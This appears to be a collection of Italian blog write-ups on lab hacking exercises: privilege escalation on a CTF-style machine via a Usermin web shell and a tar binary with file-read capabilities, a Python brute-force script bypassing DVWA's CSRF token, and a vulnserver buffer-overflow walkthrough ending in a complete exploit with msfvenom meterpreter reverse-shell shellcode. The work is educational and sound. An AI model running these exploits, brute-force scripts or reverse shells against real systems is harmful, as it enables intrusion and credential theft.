In questo caso la caccia è andata bene, la verifica ha fatto emergere un utente smb: cyber.

Da notare che nell’analisi dei contenuti era saltata fuori quella che sembrava essere una password.

Analisi delle applicazioni

Ci siamo imbattuti in un’applicazione web-based per la gestione del server: Webmin. La scansione ci aveva indicato le versioni delle applicazioni esposte, ha quindi senso verificare se esistono vulnerabilità note ed eventuali exploit. Basta una rapida ricerca su exploit-db.com per accorgersi che di vulnerabilità ne esistono diverse:

Meglio ancora, senza neanche lasciare la nostra cli come fatto durante la live, una query con searchploit ci da subito lo status di cosa è disponibile subito:

Le vulnerabilità non mancano ma le versioni non corrispondono, in questo caso ha poso senso tentare questa strada in quanto la probabilità di successo è praticamente nulla salvo incappare per puro caso in una versione vulnerabile ma non documentata.

Anche in relazione alla versione di Apache è opportuno fare un approfondimento (non fatto durante la live). Nmap ha rilevato la versione 2.4.51 a cui sono associate un paio di CVE:

Su queste CVE non ci sono exploit noti ma esiste documentazione interessante in relazione ad un p-o-c per la vulnerabilità del modulo “mod_lua” che non abbiamo ancora avuto modo di verificare in questa installazione. In questo contesto non procedo oltre ma potrebbe essere interessante approfondire in futuro ovviamente in un contesto dove è presente uno script lua. Metto in ToDo 😉

Accesso all’applicazione

Come emerso dalle nostre ricerche abbiamo un utente ed una credenziale che a questo punto vale la pena provare. L’unico punto di accesso incontrato sono le due applicazioni Webmin e Usermin ed è qui che facciamo il primo tentativo. La login page dell’applicazione Usermin (porta tcp\20000) vi darà accesso al portale; navigando un po’ le funzionalità dell’applicazione ci si imbatte in una web-shell all’interno del menu Login >> Command Shell:

web shell all’interno dell’applicazione

In questa situazione la prima cosa da fare è raccogliere informazioni sul sistema cercando di capire come è configurato e che software è in uso. Partiamo con questa sequenza di comandi:

pwd && ls -l && id && ps ax

Per ottengo questo output:

> pwd && ls -l && id && ps ax
/home/cyber
total 616
-rwxr-xr-x 1 root  root  531928 Oct 19  2021 tar
-rw-r--r-- 1 cyber cyber     48 Oct 19  2021 user.txt
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
    PID TTY      STAT   TIME COMMAND
[...]
    284 ?        Ssl    0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
    313 ?        Ss     0:00 /usr/sbin/cron -f
    314 ?        Ss     0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
    325 ?        Ss     0:00 /usr/sbin/nmbd --foreground --no-process-group
    329 ?        Ssl    0:00 /usr/sbin/rsyslogd -n -iNONE
    330 ?        Ss     0:00 /lib/systemd/systemd-logind
    385 tty1     Ss+    0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
    392 ?        Ss     0:00 /usr/sbin/apache2 -k start
    524 ?        Sl     0:00 /usr/sbin/apache2 -k start
    525 ?        Sl     0:00 /usr/sbin/apache2 -k start
    596 ?        Ss     0:00 /usr/bin/perl /usr/share/usermin/miniserv.pl /etc/usermin/miniserv.conf
    598 ?        Ss     0:00 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
    668 ?        Ssl    0:00 /lib/systemd/systemd-timesyncd
    691 ?        Ss     0:00 /usr/sbin/smbd --foreground --no-process-group
    693 ?        S      0:00 /usr/sbin/smbd --foreground --no-process-group
    694 ?        S      0:00 /usr/sbin/smbd --foreground --no-process-group
    696 ?        S      0:00 /usr/sbin/smbd --foreground --no-process-group
    774 ?        I      0:00 [kworker/u2:0-flush-8:0]
    793 ?        I      0:01 [kworker/0:0-events]
    872 ?        S      0:00 /usr/share/usermin/shell/index.cgi
    875 ?        S      0:00 sh -c /bin/su cyber -c cd\ \/home\/cyber\ \&\&\ pwd\ \&\&\ ls\ \-l\ \&\&\ id\ \&\&\ ps\ ax 2>&1
    876 ?        S      0:00 /bin/su cyber -c cd /home/cyber && pwd && ls -l && id && ps ax
    878 ?        Ss     0:00 /lib/systemd/systemd --user
    879 ?        S      0:00 (sd-pam)
    897 ?        Rs     0:00 ps ax

Siamo della home dell’utente cyber dove troviamo due file: un binario di tar (già questo è curioso) ed il file user.txt.

Altra cosa che mi viene naturale fare è buttare un occhio alla /usr/bin per rendermi conto di che utility possiamo disporre:

Stessa cosa per la /var a caccia di info nei logs e dove si nota una directory backups:

> ls -la /var/backups
total 32
drwxr-xr-x  2 root root  4096 Aug 26 18:33 .
drwxr-xr-x 14 root root  4096 Oct 19  2021 ..
-rw-r--r--  1 root root  1467 Oct 19  2021 apt.extended_states.1.gz
-rw-------  1 root root    17 Oct 20  2021 .old_pass.bak

Salta abbastanza all’occhio il file .old_pass.bak in un path che spesso cerco volutamente, ovvero tutto ciò che ha a che fare con backup e dump. Il file è accessibile solo per l’utente root.

Teniamo sempre presente che il contesto in cui siamo è quello di una macchina preparata appositamente per essere compromessa, sono quindi presenti delle tracce o degli indizi più o meno visibili. In questo caso quel “tar” nella home dell’utente salta anche fin troppo all’occhio e, considerando le funzionalità del tool, potrebbe tornare utile se volessimo “leggere” in modo alternativo il contenuto di un file.

Esistono diversi modi per accedere ad un file che è accessibile solo all’utente root senza essere root: il più noto è forse l’utility sudo che ci consente di eseguire un comando con i privilegi super user (Super User DO) con il “problema” di concedere forse troppo agli utenti. Un altro metodo, che personalmente utilizzo poco, è quelle di assegnare ad un eseguibile (e quindi al suo processo) delle capacità aggiuntive chiamate appunto capabilities.

Quanto abbiamo a disposizione – la shell dell’utente cyber – ci consente di eseguire questo tipo di verifica:

utilizzo del comando getcap

Con il comando getcap possiamo verificare che capabilities sono state assegnato ad uno specifico file/processo, in questo caso abbiamo come output cap_dac_read_search=ep. Diamo un occhio alla documentazione ufficiale in tema di capabilities:

rif: https://man7.org/linux/man-pages/man7/capabilities.7.html

Molto eloquente direi, l’eseguibile tar è stato dotato della capacità di leggere un file a prescindere dai permessi a questo associati, in parole povere il nostro /home/cyber/tar può leggere qualsiasi file e noi abbiamo un file da leggere che richiede di essere super user. Idee?

Privilege escalation

Il nome del file a cui stiamo puntando è “old_pass.bak”, la nostra speranza è quindi quella di trovare le info per accedere come root al sistema. Visto che il nostro tar può leggere questo file proviamo a creare un archivio:

L’archivio viene comunque creato e l’owner è ovviamente l’utente cyber, possiamo quindi procedere ad una estrazione del contenuto usando anche l’utility tar di sistema visto che la letture del file ormai è avvenuta correttamente e l’archivio è di proprietà del nostro utente:

I più attenti noteranno che viene estratta una directory (var), tutto corretto visto che quando abbiamo creato l’archivio abbiamo puntato ad un path assoluto (/var/backups) e non solo al file di nostro interesse. Dentro la directory troveremo finalmente il nostro file a cui sono ora attribuiti i permessi sufficienti per essere letto anche dall’utente cyber:

Non resta che provare questa potenziale password per l’utente root, la prima verifica è per la web-shell che abbiamo utilizzato sino ad ora:

Passando la password al comando “su” evitiamo che ci venga chiesta a livello prompt, azione necessario visto che tramite la web-shell poi non potremmo inserirla. In live avevamo subito utilizzato una reverse shell quindi fu possibile inserire la password dopo aver dato il comando “su”.

Abbiamo però appurato che la password è corretta avendo come output del comando “id” la stringa “uid=0(root)”. Possiamo quindi sicuramente dare comandi come root da questa web-shell ma ancora meglio potremmo utilizzare questa credenziale per accedere alla parte amministrativa dell’applicazione disponibile sulla porta tcp\10000.

Welcome to Webmin 🙂

Anche in questa sezione dell’applicazione abbiamo un comoda web-shell che questa volta accede al sistema come root:

root web-shell

A questo punto la macchina è nostra.

Prossimi step

Come da premesse in questo post volevo illustrare gli step e le analisi che ci hanno condotto ad ottenere un accesso root al sistema. Possiamo andare ben oltre e iniziare a lavorare sulla macchina per comprendere il contesto in cui si trova, le configurazione base e come potrebbe essere governata da remoto.

Ovviamente alcuni di questi ragionamenti li farò assieme ai presenti alle prossime live (questa sera, 16 settembre, affrontiamo parte dell’argomento) e seguiranno gli articoli di resoconto.

cyber security, hacking

DVWA Brute Force [high security level]

Un po’ per gioco, un po’ per esercitarmi ho ripreso in mano un progetto molto utile a chi deve affrontare, a livello di studio e comprensione, il mondo delle vulnerabilità delle applicazioni web. Damn Vulnerable Web Application (DVWA) è una piccola applicazione web scritta in Php che mette a disposizione varie componenti dotate delle più classiche delle vulnerabilità. Una delle caratteristiche molto utili che ho trovato è il fatto di avere a disposizione il codice della parte di applicazione vulnerabile ed un sistema a livelli, ovvero la piattaforma, per ogni vulnerabilità, propone più versioni:

  • Low, che corrisponde ad un codice scritto veramente male e facile da sfruttare
  • Medium, dove compaiono i primi controlli
  • High, dove i controlli sono robusti (oggetto di questa serie di articoli)
  • Impossible, che rappresenterebbe la versione non vulnerabile

Qualche giorno fa, in una delle recenti live, abbiamo affrontato il primo test relativo ad un attacco brute force. Nulla di particolare, la tecnica è anche abbastanza desueta ma in molti scenari continua ad essere un problema reale, soprattutto a causa dell’assenza di controlli specifici. Il codice Php del livello high (che come accennavo è il livello con cui ho deciso di affrontare sia le live che le spiegazioni in questi brevi articoli) presenta un controllo specifico per impedire a tools come Hydra di tentare attacchi di “forza bruta” in quanto la pagina di login, ad ogni richiesta, genera anche un token CSRF che viene controllato in fase di verifica delle credenziali.

In pratica l’applicazione si accerta che la richiesta di login provenga effettivamente dalla pagina che ha generato il login form e non da sistemi terzi (come un software per il brute force delle credenziali).

Per aggirare l’ostacolo dobbiamo quindi fare in modo che il sistema che esegue le richieste possa eseguire i tentativi di login sapendo il valore del token che la login page genera e solo dopo eseguire la chiamata alla funzione di login con il relativo token. Analizzando il codice HTML del login form è possibile verifica come tali dati vengono inviati all’applicazione:

E’ ben visibile la GET per l’invio di username e password ed il campo nascosto – input type=”hidden” – user_token con relativo valore.

Il nostro processo di cracking della credenziale deve quindi tenere in considerazione diversi elementi per eseguire dei test ricorsivi:

  • E’ necessaria una sessione valida per eseguire le prove con relativo phpsessid;
  • Per ogni tentativo di invio delle credenziali è necessario generare un nuovo user_token da inviare alla pagina per verifica;

Se provassimo semplicemente ad eseguire il brute forcing con Burp Suite, ad esempio usando il Repeater, non otterremo mai un esito positivo in quanto non saremmo in grado di inviare anche lo user_token generato dalla pagina una volta caricata la login form.

Il flusso deve quindi prima ottenere la generazione della pagina, leggere lo user_token e poi eseguire il tentativo di login con una credenziale definita ad esempio da un dizionario. Il phpsessid potremmo provare a generarlo dinamicamente, in questa mia prima versione dello script lo prendiamo direttamente dall’applicazione con un primo tentativo di accesso tramite Burp Suite.

Intercettando il traffico del browser di un tentativo di login possiamo facilmente prelevare un ID di sessione valido, nel mio esempio:

Il brute force verrà eseguito utilizzando quindi questa sessione valida.

Lo script è semplicissimo, per prima cosa ho definito un paio di variabili di comodo e qualche parametro da passare via command line:

# var, param, ...
target = argv[1]	# DVWA IP
phpsessid = argv[2]	# session cookie
url_index = "http://" + target + "/vulnerabilities/brute/index.php"
url_login = "http://" + target + "/vulnerabilities/brute/index.php"
# password list
passwords = ["123456", "qwerty", "password", "asdasd"]

'''
# get content page and token -- test
out = os.popen("wget " + target + " -q -O - | grep user_token | awk NR==1'{print $4; exit}'").read()
token = str(out).split("'")
token = token[1]
'''

# create permanent session
session = requests.session()
cookie = { 'PHPSESSID': phpsessid, 'security': 'high' }

Inizialmente mi ero “intestardito” con il voler raccogliere il primo token prima di generare la sessione e per questo utilizzavo una chiamata wget esterna (fu il primo tentativo durante una live su Twitch). Ho poi cambiato strada ma ho voluto mantenere questo passaggio commentato nello script.

Una volta preparati gli ingredienti principali lo script deve solo eseguire le operazioni di generazione token e richiesta login per ogni password in lista:

for p in passwords:
	# get token
	content = session.get(url_index, cookies=cookie)
	lines = content.text.splitlines()
	for line in lines:
		if 'user_token' in line:
			line = line.split("'")
			user_token = line[5]
	
	data = { 'username': 'admin', 'password': p, 'Login': 'Login', 'user_token': user_token }
	test = session.get(url_login, cookies=cookie, params=data)
	res = test.text
	# print(res) #### only for debug output
	
	print("Test-- \t password: {} \t token: {} \t cookie: {}".format(p, user_token, cookie))

	if 'Username and/or password incorrect.' in res:
		print("Fail-- \t Username and/or password incorrect.")
		print("-"*20)

	if 'Welcome to the password protected area admin' in res:
		print("Good Job! The correct password in \"{}\"".format(p))
		print("-"*20)

La versione completa dello script è disponibile nella mia repository GitHub. Trovate una ulteriore versione della soluzione in questo post su medium che ho trovato molto interessante.

In definitiva lo script non fa altro che eseguire un tentativo di accesso per ogni credenziale fornita generando, ad ogni iterazione, il nuovo user_token da utilizzare nella richiesta, aggirando così il controllo.

In esecuzione il risultato dovrebbe essere qualcosa di simile:

Di seguito una breve clip dimostrativa del lab:

Approfitto dell’occasione di questo post per segnalare che inizierò probabilmente a caricare alcune clip dimostrative sul mio canale YouTube per mantenere un archivio dei nostri esperimenti.

Prossimi step

Probabilmente aggiungerò allo script a possibilità di utilizzare un file come elenco password e vorrei portare dentro anche la definizione dell’ID di sessione da utilizzare.

DVWA ha diversi altri esercizi che meritano uno spazio, ho recentemente parlato in live delle SQL Injection su cui sicuramente tornerò assieme alla possibilità di eseguire Code Injection.

cyber security, hacking

Pivoting: lab setup

Osservare alcune specifiche tecniche di attacco consente di comprendere meglio quanto possa entrare in profondità un attacker. Uno scenario abbastanza tipico che mi capita di analizzare è relativo alla presenza di reti relativamente “piatte”, ovvero segmentate a livello di subnet/vlan ma talvolta non segregate e lasciate molto libere di comunicare tra loro.

Il disegno di una rete impatta notevolmente sulle opzioni che un attacker ha a disposizione una volta individuata una breccia. Lasciandoci alle spalle l’irrazionale pensiero che “a noi non capiterà mai”, una strategia di difesa efficace deve tener conto della possibilità che un attacco abbia successo con la conseguenza di trovarci con elementi interni della rete compromessi almeno in parte. Esistono decine di scenari esplorabili in tal senso: in generale nel momento in cui un attacker dovesse guadagnare una posizione all’interno della rete, non sapendo come la rete è strutturata, andrebbe a caccia di nuove informazioni con l’obiettivo di utilizzare il sistema compromesso come “base” per altre azioni.

Il pivoting è una delle classiche tecniche per entrare ancor più in profondità nella rete target in quanto consente all’attacker, se ve ne sono le condizioni, di passare da una rete all’altra estendendo il suo raggio d’azione. Ho volutamente evidenziato l’esigenza di specifiche condizioni perché questo avvenga in quanto, di fatto, un buon disegno della rete ed opportuni controlli possono limitare enormemente l’attività dell’ospite indesiderato.

A me piace mescolare, quindi nella live di questa sera tiriamo su un piccolo lab per provare la tecnica citata per vedere come un attacker potrebbe comportarsi e poi analizziamo le possibili azioni correttive da adottare per limitare l’azione dell’attacker.

Come di consueto alle 21:30 sul mio canale Twitch: https://www.twitch.tv/roccosicilia.

cyber security, hacking

Buffer Overflow lab [II parte]

Nella prima parte ci eravamo fermati all’analisi della memoria subito dopo il crash del nostro servizio a seguito di una nostra specifica azione: abbiamo inviato un contenuto al server composto da una serie di “A” e abbiamo scoperto di poter andare a sovrascrivere il contenuto del registro EIP e anche l’area di memoria destinate alle variabili locali che fa riferimento all’ESP.

Visto che la vulnerabilità ci ha consentito di scrivere “A” ovunque possiamo calcolare la dimensione dell’area di memoria a cui abbiamo avuto accesso. Con Immunity possiamo analizzare il DUMP della memoria semplicemente facendo “tasto destro” sull’ESP e selezionando l’opzione Follow in DUMP:

Nel riquadro in basso a sinistra verrà presentato lo stato della memoria e andando in cima all stack è possibile vedere l’area di memoria in cui iniziamo a scrivere (0x0097F200). In modo simile, andando sul fondo dello stack, possiamo vedere dove ci siamo fermati (0x0097FDA8). Semplicemente facendo la differenza tra questi due valori avremo la dimensione di memoria sovrascritta:

Questo dato, 2984 byte, è estremamente importante per le fasi di analisi e stesura del codice del nostro exploit: ora sappiano che se inviamo questa quantità di informazioni il servizio andrà in crash e possiamo verificarlo con un piccolo script:

import socket

s = socket.socket()
s.connect( ("TARGET_IP", 9999) )

total_length = 2984
payload = [
	b"TRUN /.:/",
	b"A"*total_length,
]

payload = b"".join(payload)
s.send(payload)

Siamo quindi arrivati a governare il contenuto della memoria, EIP ed ESP compresi, tramite un nostro script. Il prossimo passo è scriverci qualcosa di sensato partendo proprio dall’instruction pointer. Dobbiamo prima di tutto capire come riempire il buffer senza mettere delle “A” anche del EIP. Una tecnico abbastanza semplice è mandare in crash il programma utilizzando caratteri che non abbiamo un pattern così da identificare successivamente cosa è stato scritto all’interno del registro ed avere così la possibilità di individuare il numero di byte necessari a riempire il buffer.

Possiamo utilizzare l’utility msf-patter_create per creare una stringa di 2984 caratteri:

$ msf-pattern_create -l 2984                  
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5A...

Utilizzando la stringa all’interno del payload, al posto del carattere “A” ovviamente, otterremo nuovamente il crash del servizio ma il contenuto del registro sarà molto diverso:

L’EIP è stato infatti sovrascritto dai caratteri del pattern che qui vediamo ovviamente visualizzati con il corrispettivo byte esadecimale visto che all’interno del registro non è possibile inserire delle “stringhe” nel loro formato. Non resta che scoprire quanti caratteri – e quindi byte – sono stati scritti nel buffer prima di arrivare a sovrascrivere l’EIP. Utilizziamo questa volta l’utility msf-patter_offset a cui chiederemo il numero di byte di offset in relazione alla stringa, opportunamente convertita, corrispondente all’esadecimale che vediamo dell’EIP:

$ msf-pattern_offset -l 2984 -q 386F4337        
[*] Exact match at offset 2003

Abbiamo trovato la dimensione del buffer: 2003 byte. Per verificare il nostro calcolo possiamo quindi modificare il nostro prototipo di exploit al fine di riempire il buffer per tutti i suoi 2003 byte e poi utilizzare un altro carattere per sovrascrivere ciò che viene subito dopo, ovvero il registro EIP.

import socket

s = socket.socket()
s.connect( ("TARGET_IP", 9999) )

total_length = 2984
offset = 2003
new_eip = b"BBBB"

payload = [
	b"TRUN /.:/",
	b"A"*offset,
	new_eip,
]

payload = b"".join(payload)
s.send(payload)

Riavviando il server tramite Immunity dovremmo ottenere il seguente comportamento:

Il contenuto del registro EIP è ora l’esadecimale “42 42 42 42” che corrisponde esattamente al carattere che abbiamo scelto per la variabile new_eip del nostro script. Ora controlliamo l’instruction pointer e si nota come l’ESP sia ora vuoto in quanto ci siamo fermati all’invio della stringa che doveva sovrascrivere l’EIP. Se nel nostro payload andiamo ad aggiungere un altro set di caratteri, ad esempio una serie di “C”, fino a riempire i restanti byte a disposizione dovremmo ottenere la sovrascrittura controllata anche dell’ESP.

payload = [
	b"TRUN /.:/",
	b"A"*offset,
	new_eip,
        b"C"*(total_length - offset - len(new_eip)),
]

Si seguito lo stato dei registri con questa modifica:

Siamo quindi nella condizione di poter scrivere ciò che vogliamo nelle tre aree di memoria a disposizione. Non stiamo però controllando l’esecuzione del programma che infatti va in crash. Questo perché non stiamo gestendo correttamente il contenuto del EIP (stiamo utilizzando dei semplici caratteri) ed il programma non può eseguire la sua JUMP nella corretta posizione di memoria dove si trova l’ESP.

Dobbiamo quindi capire in che area della memoria far puntare EIP per gestire correttamente la JUMP verso ESP. Immunity mette a disposizione diverse plugin tra cui una è MONA (https://github.com/corelan/mona). Non mi soffermo sull’utilizzo del tool e vi suggerisco il manuale scritto dall’autore; tramite il comando jmp -r ESP il tool ci mostra tutti i “pointers” di tipo “jmp esp”:

Ovviamente il servizio quando è in esecuzione ha diverse JUMP verso ESP in quanto ci sono più funzioni che vengono chiamate. A noi interessa individuare quella di cui stiamo abusando con il nostro exploit. Da notare che delle varie JUMP le ultime due contengono riferimenti a contenuti ascii… interessante visto che noi stiamo proprio inviando questo tipo di dato al programma. Potremmo quindi ipotizzare che una di queste JUMP sia quella che vogliamo controllare.

Per appurarlo dobbiamo annotarci il valore del registro (0x62501203 nel mio lab.) ed utilizzarlo come contenuto per l’EIP del nostro exploit. E’ ovviamente da considerare che questo valore è la rappresentazione esadecimale dei byte che sono effettivamente presenti del registro, dobbiamo quindi a nostra volta mandare il corretto valore opportunamente convertito.

Utilizziamo la libreria struct di cui nella live su Twitch abbiamo parlato per un abbondante quarto d’ora e qui non ci soffermiamo. Per convertire correttamente il dato il comando, da utilizzare al posto delle “B”, è il seguente:

new_eip = struct.pack('<I', 0x62501203)

Lo script ora sarà in grado di eseguire la JUMP in una posizione legittima dell’ESP dove, nell’ultima esecuzione, abbiamo posizionato una serie di “C”. Per verificare cosa accade a runtime possiamo impostare un breakpoint su Immunity così da fermare il programma subito prima della JUMP:

Eseguendo ora l’exploit dovremmo ottenere qualcosa di simile a questo:

Il valore dell’EIP è quello da noi impostato e se andiamo a verificare lo stato dello stack possiamo controllare il contenuto della memoria dove sono ben visibili i caratteri “A” che stiamo utilizzando per il buffer, il contenuto dell’EIP opportunamente convertito ed i caratteri “C”.

Grazie al breakpoint l’esecuzione è interrotta ma possiamo utilizzare i tasti F6 ed F7 per andare indietro ed avanti una istruzione alla volta. In questo momento siamo fermi sulla JUMP quindi andando avanti di una istruzione la JUMP verrà eseguita verso un’area di memoria legittima, quella dell’ESP.

Possiamo quindi osservare il contenuto delle prossime posizioni della memoria che corrisponde all’esadecimale 43, ovvero il carattere “C” con cui abbiamo riempito l’ESP. In pratica abbiamo raggiunto il principale obiettivo: possiamo governare la JUMP in un’area della memoria che possiamo controllare. Ora dobbiamo decidere cosa far eseguire e posizionare le istruzioni opportune in quest’area di memoria.

Nota: in questa occasione saltiamo il controllo di eventuali caratteri non ammessi, si prenda atto che non utilizzeremo istruzioni “\x00” nel nostro shellcode.

E’ da considerare che questa operazione, in contesti più complessi rispetto al nostro vuln-server, presenta delle incertezze ed è quindi opportuno costruire le condizioni per favorire l’esecuzione del nostro shellcode. Tipicamente viene utilizzata una specifica istruzione: \x90, la famigerata NOP. Di base diremo al processore di non fare nulla per qualche iterazione prima di incontrare il nostro shellcode.

Come shellcode useremo un altro famigerato strumento: meterpreter. Per utilizzare questa reverse shell nel nostro exploit dobbiamo inserire le istruzioni necessarie all’interno del payload. Con msfvenom possiamo fare esattamente questo:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 -b “\x00” -f python

Vediamo uno ad uno parametri:

  • -p windows/meterpreter/reverse_tcp ci serve ovviamente a definire la reverse shell che vogliamo utilizzare
  • LHOST=10.0.2.4 definisce l’IP della macchina dell’attacker a cui la shell dovrà collegarsi
  • LPORT=4444 definisce la porta della macchina dell’attacker dove il servizio sarà in ascolto
  • -b “\x00” esclude il carattere in questione per evitare interruzioni indesiderate dello shellcode
  • -f python aiuta i pigri e formatta l’output pronto per essere inserito in uno script python

Il risultato finale è qualcosa del genere:


import socket
import struct

s = socket.socket()
s.connect( ("192.168.1.7", 9999) )

total_length = 2983
offset = 2003
new_eip = struct.pack('<I', 0x62501203)
nop = b"\x90"*8

buf =  b""
buf += b"\xd9\xf6\xbb\x8f\xe3\x45\x67\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x59\x31\x5a\x19\x03\x5a\x19\x83\xea\xfc\x6d"
buf += b"\x16\xb9\x8f\xfe\xd9\x42\x50\x60\xeb\x90\xd9\x85\x6f"
buf += b"\x9e\x88\x75\xfb\xf2\x20\xfe\xa9\xe6\x37\xb7\x04\x21"
buf += b"\x79\x48\x13\x5f\x51\x87\xe4\x0c\x9d\x86\x98\x4e\xf2"
buf += b"\x68\xa0\x80\x07\x69\xe5\x56\x6d\x86\xbb\x3f\x06\x0a"
buf += b"\x2c\x4b\x5a\x96\x4d\x9b\xd0\xa6\x35\x9e\x27\x52\x8a"
buf += b"\xa1\x77\x11\x5a\xba\xfc\x7d\x7b\xbb\xd1\x2d\xfe\x72"
buf += b"\xa1\xf1\x31\x7a\x03\x82\x06\x0f\x95\x42\x57\xcf\x57"
buf += b"\xa5\x95\x63\x56\xfe\x9e\x9b\x2c\xf4\xdc\x26\x37\xcf"
buf += b"\x9f\xfc\xb2\xcf\x38\x76\x64\x2b\xb8\x5b\xf3\xb8\xb6"
buf += b"\x10\x77\xe6\xda\xa7\x54\x9d\xe7\x2c\x5b\x71\x6e\x76"
buf += b"\x78\x55\x2a\x2c\xe1\xcc\x96\x83\x1e\x0e\x7e\x7b\xbb"
buf += b"\x45\x6d\x6a\xbb\xa6\x6d\x93\xe1\x30\xa1\x5e\x1a\xc0"
buf += b"\xad\xe9\x69\xf2\x72\x42\xe6\xbe\xfb\x4c\xf1\xb7\xec"
buf += b"\x6e\x2d\x7f\x7c\x91\xce\x7f\x54\x56\x9a\x2f\xce\x7f"
buf += b"\xa3\xa4\x0e\x7f\x76\x50\x05\x17\xb9\x0c\x18\xe2\x51"
buf += b"\x4e\x1b\xf9\x12\xc7\xfd\x51\x05\x87\x51\x12\xf5\x67"
buf += b"\x02\xfa\x1f\x68\x7d\x1a\x20\xa3\x16\xb1\xcf\x1d\x4e"
buf += b"\x2e\x69\x04\x04\xcf\x76\x93\x60\xcf\xfd\x11\x94\x9e"
buf += b"\xf5\x50\x86\xf7\x61\x9a\x56\x08\x04\x9a\x3c\x0c\x8e"
buf += b"\xcd\xa8\x0e\xf7\x39\x77\xf0\xd2\x3a\x70\x0e\xa3\x0a"
buf += b"\x0a\x39\x31\x32\x64\x46\xd5\xb2\x74\x10\xbf\xb2\x1c"
buf += b"\xc4\x9b\xe1\x39\x0b\x36\x96\x91\x9e\xb9\xce\x46\x08"
buf += b"\xd2\xec\xb1\x7e\x7d\x0f\x94\xfc\x7a\xef\x6a\x2b\x23"
buf += b"\x87\x94\x6b\xd3\x57\xff\x6b\x83\x3f\xf4\x44\x2c\x8f"
buf += b"\xf5\x4e\x65\x87\x7c\x1f\xc7\x36\x80\x0a\x89\xe6\x81"
buf += b"\xb9\x12\x19\xfb\xb2\xa5\xda\xfc\xda\xc1\xdb\xfc\xe2"
buf += b"\xf7\xe0\x2a\xdb\x8d\x27\xef\x58\x9d\x12\x52\xc8\x34"
buf += b"\x5c\xc0\x0a\x1d"

payload = [
	b"TRUN /.:/",
	b"A"*2003,
	new_eip,
	nop,
	buf,
	b"D"*(total_length - offset - len(new_eip) - len(nop) - len(buf)),
]

payload = b"".join(payload)
s.send(payload)

L’exploit è pronto e il payload è stato opportunamente modificato per aprire una shell verso la macchina attaccante. Ovviamente dobbiamo predisporre la macchina da cui eseguiremo l’exploit affinché sia in grado di accettare la connessione remota. Per comodità di laboratorio possiamo usare metasploit e configurare l’handler per meterpreter:

Una volta avviato il servizio sul sistema target potremo lanciare l’exploit. Se tutto funziona correttamente il server questa volta non andrà in crash ma resterà in esecuzione senza dare messaggi specifici. Accedendo alla console di metasploit dovremmo invece vedere la sessione della shell attiva:


L’argomento exploiting è per me molto affascinante e lo ritengo molto utile per comprendere diversi aspetti del funzionamento dei sistemi e delle applicazioni. Quando ho annunciato la mia volontà di dedicare uno spazio in quelle che poi sono state due live per un totale di 5 ore di video e due articoli qualcuno ha etichettato l’argomento come anacronistico probabilmente non riuscendo a vedere il lato formativo del tema.

Incontro molte persone che sulla carta sono “esperti” in cyber security e che non hanno mai neanche provato ad analizzare una vulnerabilità. Ritengo che questo trend sia pericoloso, si tende a dare per scontata la conoscenza intima dei sistemi ma è evidente che c’è qualcosa che non sta funzionando nella formazione delle nuove figure professionali. Ci sono delle lacune a livello di nozioni base e questo fatto è un evidente limite che gli attacker non è detto che abbiano.